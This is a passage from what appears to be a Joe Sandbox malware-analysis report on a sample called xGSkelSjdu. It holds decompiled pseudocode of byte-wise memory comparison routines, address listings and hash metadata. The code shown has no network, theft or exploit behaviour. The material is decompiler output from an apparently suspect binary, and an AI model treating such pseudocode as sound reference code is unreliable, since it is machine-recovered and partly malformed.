											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x00410a37
0x00410a37
0x00410a3d
0x00410abc
0x00410abe
0x00410ac0
0x00000000
0x00000000
0x00410ac6
0x00410acc
0x00410b4b
0x00410b4d
0x00410b4f
0x00000000
0x00000000
0x00410b55
0x00410b5b
0x00410bda
0x00410bdc
0x00410bde
0x00000000
0x00000000
0x00410be4
0x00410bea
0x00410c69
0x00410c6b
0x00410c6d
0x00000000
0x00000000
0x00410c73
0x00410c79
0x00410cf8
0x00410cfa
0x00410cfc
0x00000000
0x00000000
0x00410d08
0x00410d88
0x00410d8a
0x00410d8c
0x00000000
0x00000000
0x00410d92
0x00410d98
0x00410e17
0x00410e19
0x00410e1b
0x00000000
0x00000000
0x00410e29
0x00410623
0x00410625
0x00411381
0x00411381
0x00410e37
0x00410e39
0x00410a15
0x00410a1d
0x00410a1f
0x00410a30
0x00410a30
0x00000000
0x00410a1f
0x00410e46
0x00410e4c
0x00411265
0x00000000
0x00411265
0x00000000
0x00410e52
0x00410da1
0x00410da3
0x00410dba
0x00410dc2
0x00410dc4
0x00410ddb
0x00410de3
0x00410de5
0x00410dfc
0x00410e04
0x00410e06
0x00410e13
0x00410e13
0x00000000
0x00410e06
0x00410df2
0x00410df6
0x00000000
0x00000000
0x00000000
0x00410df6
0x00410dd1
0x00410dd5
0x00000000
0x00000000
0x00000000
0x00410dd5
0x00410db0
0x00410db4
0x00000000
0x00000000
0x00000000
0x00410db4
0x00410d12
0x00410d14
0x00410d2b
0x00410d33
0x00410d35
0x00410d4c
0x00410d54
0x00410d56
0x00410d6d
0x00410d75
0x00410d77
0x00410d84
0x00410d84
0x00000000
0x00410d77
0x00410d63
0x00410d67
0x00000000
0x00000000
0x00000000
0x00410d67
0x00410d42
0x00410d46
0x00000000
0x00000000
0x00000000
0x00410d46
0x00410d21
0x00410d25
0x00000000
0x00000000
0x00000000
0x00410d25
0x00410c82
0x00410c84
0x00410c9b
0x00410ca3
0x00410ca5
0x00410cbc
0x00410cc4
0x00410cc6
0x00410cdd
0x00410ce5
0x00410ce7
0x00410cf4
0x00410cf4
0x00000000
0x00410ce7
0x00410cd3
0x00410cd7
0x00000000
0x00000000
0x00000000
0x00410cd7
0x00410cb2
0x00410cb6
0x00000000
0x00000000
0x00000000
0x00410cb6
0x00410c91
0x00410c95
0x00000000
0x00000000
0x00000000
0x00410c95
0x00410bf3
0x00410bf5
0x00410c0c
0x00410c14
0x00410c16
0x00410c2d
0x00410c35
0x00410c37
0x00410c4e
0x00410c56
0x00410c58
0x00410c65
0x00410c65
0x00000000
0x00410c58
0x00410c44
0x00410c48
0x00000000
0x00000000
0x00000000
0x00410c48
0x00410c23
0x00410c27
0x00000000
0x00000000
0x00000000
0x00410c27
0x00410c02
0x00410c06
0x00000000
0x00000000
0x00000000
0x00410c06
0x00410b64
0x00410b66
0x00410b7d
0x00410b85
0x00410b87
0x00410b9e
0x00410ba6
0x00410ba8
0x00410bbf
0x00410bc7
0x00410bc9
0x00410bd6
0x00410bd6
0x00000000
0x00410bc9
0x00410bb5
0x00410bb9
0x00000000
0x00000000
0x00000000
0x00410bb9
0x00410b94
0x00410b98
0x00000000
0x00000000
0x00000000
0x00410b98
0x00410b73
0x00410b77
0x00000000
0x00000000
0x00000000
0x00410b77
0x00410ad5
0x00410ad7
0x00410aee
0x00410af6
0x00410af8
0x00410b0f
0x00410b17
0x00410b19
0x00410b30
0x00410b38
0x00410b3a
0x00410b47
0x00410b47
0x00000000
0x00410b3a
0x00410b26
0x00410b2a
0x00000000
0x00000000
0x00000000
0x00410b2a
0x00410b05
0x00410b09
0x00000000
0x00000000
0x00000000
0x00410b09
0x00410ae4
0x00410ae8
0x00000000
0x00000000
0x00000000
0x00410a3f
0x00410a3f
0x00410a42
0x00410a46
0x00410a48
0x00410a5f
0x00410a5f
0x00410a63
0x00410a67
0x00410a69
0x00410a80
0x00410a80
0x00410a84
0x00410a88
0x00410a8a
0x00410aa1
0x00410aa1
0x00410aa5
0x00410aa9
0x00410aab
0x00410ab1
0x00410ab4
0x00410ab8
0x00410ab8
0x00000000
0x00410aab
0x00410a90
0x00410a93
0x00410a97
0x00410a9b
0x00000000
0x00000000
0x00000000
0x00410a9b
0x00410a6f
0x00410a72
0x00410a76
0x00410a7a
0x00000000
0x00000000
0x00000000
0x00410a7a
0x00410a4e
0x00410a51
0x00410a55
0x00410a59
0x00000000
0x00000000
0x00000000
0x00410a59
0x00410250
0x00410250
0x00000000

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: e31a7d5c7b42ca335ce72af5959a86519672b1941f3bd104c3f1bb3f8b3afdfa
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 4DD18173C0AAB30A8735816D44981ABEA626FD174131EC3E2DCE43F389D17E9DD196D8

Uniqueness

Uniqueness Score: -1.00%

Function 0041062B Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041062B(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041062b
0x0041062b
0x00410631
0x004106b0
0x004106b2
0x004106b4
0x00000000
0x00000000
0x004106ba
0x004106c0
0x0041073f
0x00410741
0x00410743
0x00000000
0x00000000
0x00410749
0x0041074f
0x004107ce
0x004107d0
0x004107d2
0x00000000
0x00000000
0x004107d8
0x004107de
0x0041085d
0x0041085f
0x00410861
0x00000000
0x00000000
0x00410867
0x0041086d
0x004108ec
0x004108ee
0x004108f0
0x00000000
0x00000000
0x004108fc
0x0041097c
0x0041097e
0x00410980
0x00000000
0x00000000
0x00410986
0x0041098c
0x00410a0b
0x00410a0d
0x00410a0f
0x00000000
0x00000000
0x00410a1d
0x00410a1f
0x00410a30
0x00410a30
0x00410625
0x00411381
0x00411381
0x00410995
0x00410997
0x004109ae
0x004109b6
0x004109b8
0x004109cf
0x004109d7
0x004109d9
0x004109f0
0x004109f8
0x004109fa
0x00410a07
0x00410a07
0x00000000
0x004109fa
0x004109e6
0x004109ea
0x00000000
0x00000000
0x00000000
0x004109ea
0x004109c5
0x004109c9
0x00000000
0x00000000
0x00000000
0x004109c9
0x004109a4
0x004109a8
0x00000000
0x00000000
0x00000000
0x004109a8
0x00410906
0x00410908
0x0041091f
0x00410927
0x00410929
0x00410940
0x00410948
0x0041094a
0x00410961
0x00410969
0x0041096b
0x00410978
0x00410978
0x00000000
0x0041096b
0x00410957
0x0041095b
0x00000000
0x00000000
0x00000000
0x0041095b
0x00410936
0x0041093a
0x00000000
0x00000000
0x00000000
0x0041093a
0x00410915
0x00410919
0x00000000
0x00000000
0x00000000
0x00410919
0x00410876
0x00410878
0x0041088f
0x00410897
0x00410899
0x004108b0
0x004108b8
0x004108ba
0x004108d1
0x004108d9
0x004108db
0x004108e8
0x004108e8
0x00000000
0x004108db
0x004108c7
0x004108cb
0x00000000
0x00000000
0x00000000
0x004108cb
0x004108a6
0x004108aa
0x00000000
0x00000000
0x00000000
0x004108aa
0x00410885
0x00410889
0x00000000
0x00000000
0x00000000
0x00410889
0x004107e7
0x004107e9
0x00410800
0x00410808
0x0041080a
0x00410821
0x00410829
0x0041082b
0x00410842
0x0041084a
0x0041084c
0x00410859
0x00410859
0x00000000
0x0041084c
0x00410838
0x0041083c
0x00000000
0x00000000
0x00000000
0x0041083c
0x00410817
0x0041081b
0x00000000
0x00000000
0x00000000
0x0041081b
0x004107f6
0x004107fa
0x00000000
0x00000000
0x00000000
0x004107fa
0x00410758
0x0041075a
0x00410771
0x00410779
0x0041077b
0x00410792
0x0041079a
0x0041079c
0x004107b3
0x004107bb
0x004107bd
0x004107ca
0x004107ca
0x00000000
0x004107bd
0x004107a9
0x004107ad
0x00000000
0x00000000
0x00000000
0x004107ad
0x00410788
0x0041078c
0x00000000
0x00000000
0x00000000
0x0041078c
0x00410767
0x0041076b
0x00000000
0x00000000
0x00000000
0x0041076b
0x004106c9
0x004106cb
0x004106e2
0x004106ea
0x004106ec
0x00410703
0x0041070b
0x0041070d
0x00410724
0x0041072c
0x0041072e
0x0041073b
0x0041073b
0x00000000
0x0041072e
0x0041071a
0x0041071e
0x00000000
0x00000000
0x00000000
0x0041071e
0x004106f9
0x004106fd
0x00000000
0x00000000
0x00000000
0x004106fd
0x004106d8
0x004106dc
0x00000000
0x00000000
0x00000000
0x00410633
0x00410633
0x00410636
0x0041063a
0x0041063c
0x00410653
0x00410653
0x00410657
0x0041065b
0x0041065d
0x00410674
0x00410674
0x00410678
0x0041067c
0x0041067e
0x00410695
0x00410695
0x00410699
0x0041069d
0x0041069f
0x004106a5
0x004106a8
0x004106ac
0x004106ac
0x00000000
0x0041069f
0x00410684
0x00410687
0x0041068b
0x0041068f
0x00000000
0x00000000
0x00000000
0x0041068f
0x00410663
0x00410666
0x0041066a
0x0041066e
0x00000000
0x00000000
0x00000000
0x0041066e
0x00410642
0x00410645
0x00410649
0x0041064d
0x00000000
0x00000000
0x00000000
0x0041064d
0x00410250
0x00410250
0x00000000

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 36acc3ee25684c4786f047eaebff61032e14032b2262033d3372b7b93dfa3517
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 5DC17273C1A9B3068735816D44681BBEA626FD175031FC3E29CE43F389D1AE9DC195D8

Uniqueness

Uniqueness Score: -1.00%

Function 00410257 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00410257(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
